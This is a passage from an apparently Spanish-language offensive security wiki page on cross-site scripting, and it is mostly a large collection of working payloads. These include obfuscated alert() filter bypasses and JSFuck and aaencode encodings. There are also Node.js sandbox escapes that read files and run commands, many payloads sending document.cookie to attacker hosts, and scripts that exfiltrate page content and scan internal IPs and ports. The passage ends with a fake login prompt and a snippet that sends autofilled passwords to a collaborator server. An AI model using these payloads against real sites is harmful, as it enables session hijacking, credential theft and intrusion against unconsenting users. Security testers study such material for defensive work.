[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
Existe JS code que está usando datos no seguros controlados por un attacker como location.href. Un attacker podría abusar de esto para ejecutar código JS arbitrario.
Debido a la extensión de la explicación de DOM vulnerabilities it was moved to this page:
Allí encontrarás una explicación detallada de qué son las DOM vulnerabilities, cómo se provocan y cómo explotarlas.
Además, no olvides que al final del post mencionado puedes encontrar una explicación sobre DOM Clobbering attacks.
Escalando Self-XSS
Cookie XSS
Si puedes disparar un XSS enviando el payload dentro de una cookie, esto suele ser un self-XSS. Sin embargo, si encuentras un subdominio vulnerable a XSS, podrías abusar de este XSS para inyectar una cookie en todo el dominio logrando activar el cookie XSS en el dominio principal u otros subdominios (aquellos vulnerables al cookie XSS). Para esto puedes usar el cookie tossing attack:
Puedes encontrar un gran abuso de esta técnica en this blog post.
Sending your session to the admin
Quizá un usuario pueda compartir su perfil con el admin y si el self XSS está dentro del perfil del usuario y el admin lo accede, él disparará la vulnerabilidad.
Session Mirroring
Si encuentras algún self XSS y la página web tiene un session mirroring for administrators, por ejemplo que permite a los clientes pedir ayuda y, para que el admin te ayude, él verá lo que tú ves en tu sesión pero desde su sesión.
Podrías hacer que el administrator trigger your self XSS y robar sus cookies/sesión.
Otros Bypasses
Evadiendo la sanitización vía WASM linear-memory template overwrite
Cuando una web app usa Emscripten/WASM, las constant strings (como HTML format stubs) residen en writable linear memory. Un único overflow dentro del WASM (por ejemplo, un memcpy sin comprobaciones en un camino de edición) puede corromper estructuras adyacentes y redirigir escrituras a esas constantes. Sobrescribir una plantilla como “” convierte la entrada sanitizada en un valor de manejador JavaScript y genera un DOM XSS inmediato al renderizar.
Consulta la página dedicada con el flujo de explotación, DevTools memory helpers y defensas:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
Puedes comprobar si los reflected values están siendo unicode normalized en el servidor (o en el cliente) y abusar de esta funcionalidad para eludir protecciones. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Debido a RoR mass assignment se insertan comillas en el HTML y luego se produce un bypass de la restricción de comillas, permitiendo añadir campos adicionales (onfocus) dentro de la etiqueta.
Ejemplo de formulario (from this report), si envías el payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
El par “Key”,“Value” se reflejará así:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Entonces se insertará el atributo onfocus y ocurrirá XSS.
Combinaciones especiales
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
Si encuentras que puedes inject headers in a 302 Redirect response podrías intentar make the browser execute arbitrary JavaScript. Esto no es trivial ya que los navegadores modernos no interpretan el cuerpo de la respuesta HTTP si el código de estado de la respuesta HTTP es 302, por lo que un payload de cross-site scripting por sí solo es inútil.
In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Only Letters, Numbers and Dots
If you are able to indicate the callback that javascript is going to execute limited to those chars. Read this section of this post to find how to abuse this behaviour.
Valid <script> Content-Types to XSS
(From here) If you try to load a script with a content-type such as application/octet-stream, Chrome will throw following error:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Script Types to XSS
(Desde here) Entonces, ¿qué tipos podrían indicarse para cargar un script?
<script type="???"></script>
La respuesta es:
- module (por defecto, nada que explicar)
- webbundle: Web Bundles es una característica que permite empaquetar un conjunto de datos (HTML, CSS, JS…) en un archivo
.wbn.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Permite mejorar la sintaxis de importación
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Este comportamiento se utilizó en this writeup para reasignar una librería a eval; abusándolo puede desencadenar XSS.
- speculationrules: Esta característica sirve principalmente para resolver algunos problemas causados por el pre-rendering. Funciona así:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types para XSS
(Desde here) Los siguientes Content-Types pueden ejecutar XSS en todos los navegadores:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? not in the list but I think I saw this in a CTF)
- application/rss+xml (off)
- application/atom+xml (off)
En otros navegadores otros Content-Types pueden usarse para ejecutar JS arbitrario, consulta: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
Si la página devuelve un content-type text/xml es posible indicar un namespace y ejecutar JS arbitrario:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Patrones especiales de reemplazo
Cuando se usa algo como "some {{template}} data".replace("{{template}}", <user_input>). El atacante podría usar special string replacements para intentar eludir algunas protecciones: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Por ejemplo en this writeup, esto se usó para escapar una cadena JSON dentro de un script y ejecutar código arbitrario.
Chrome Cache to XSS
XS Jails Escape
Si solo tienes un conjunto limitado de caracteres para usar, consulta estas otras soluciones válidas para problemas de XSJail:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Si todo está undefined antes de ejecutar código no confiable (como en this writeup) es posible generar objetos útiles “de la nada” para abusar de la ejecución de código arbitrario no confiable:
- Usando import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Accediendo a
requirede forma indirecta
According to this los módulos son envueltos por Node.js dentro de una función, así:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Por lo tanto, si desde ese módulo podemos llamar a otra función, es posible usar arguments.callee.caller.arguments[1] desde esa función para acceder a require:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
De manera similar al ejemplo anterior, es posible usar manejadores de errores para acceder al wrapper del módulo y obtener la función require:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Diferentes obfuscations en una página: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- JSFuck más sofisticado: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS common payloads
Varios payloads en 1
Trampa de iframe
Forzar al usuario a navegar en la página sin salir del iframe y robar sus acciones (incluida la información enviada en formularios):
Recuperar Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
No podrás acceder a las cookies desde JavaScript si la bandera HTTPOnly está establecida en la cookie. Pero aquí tienes some ways to bypass this protection si tienes la suerte suficiente.
Robar contenido de la página
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Encontrar direcciones IP internas
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Escáner de puertos (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Los tiempos cortos indican un port que responde Los tiempos más largos indican ausencia de respuesta.
Revisa la lista de ports bloqueados en Chrome here y en Firefox here.
Cuadro para solicitar credentials
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Captura de auto-fill passwords
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Cuando se introduce cualquier dato en el password field, el username y el password se envían al attackers server; incluso si el cliente selecciona una saved password y no escribe nada, las credentials serán ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Si un critical handler (p. ej., function DoLogin(){...}) se declara más abajo en la página, y tu payload se ejecuta antes (p. ej., vía un inline JS-in-JS sink), define primero un const con el mismo nombre para preempt y bloquear el handler. Las declaraciones de función posteriores no pueden rebind un nombre const, dejando tu hook en control:
const DoLogin = () => {
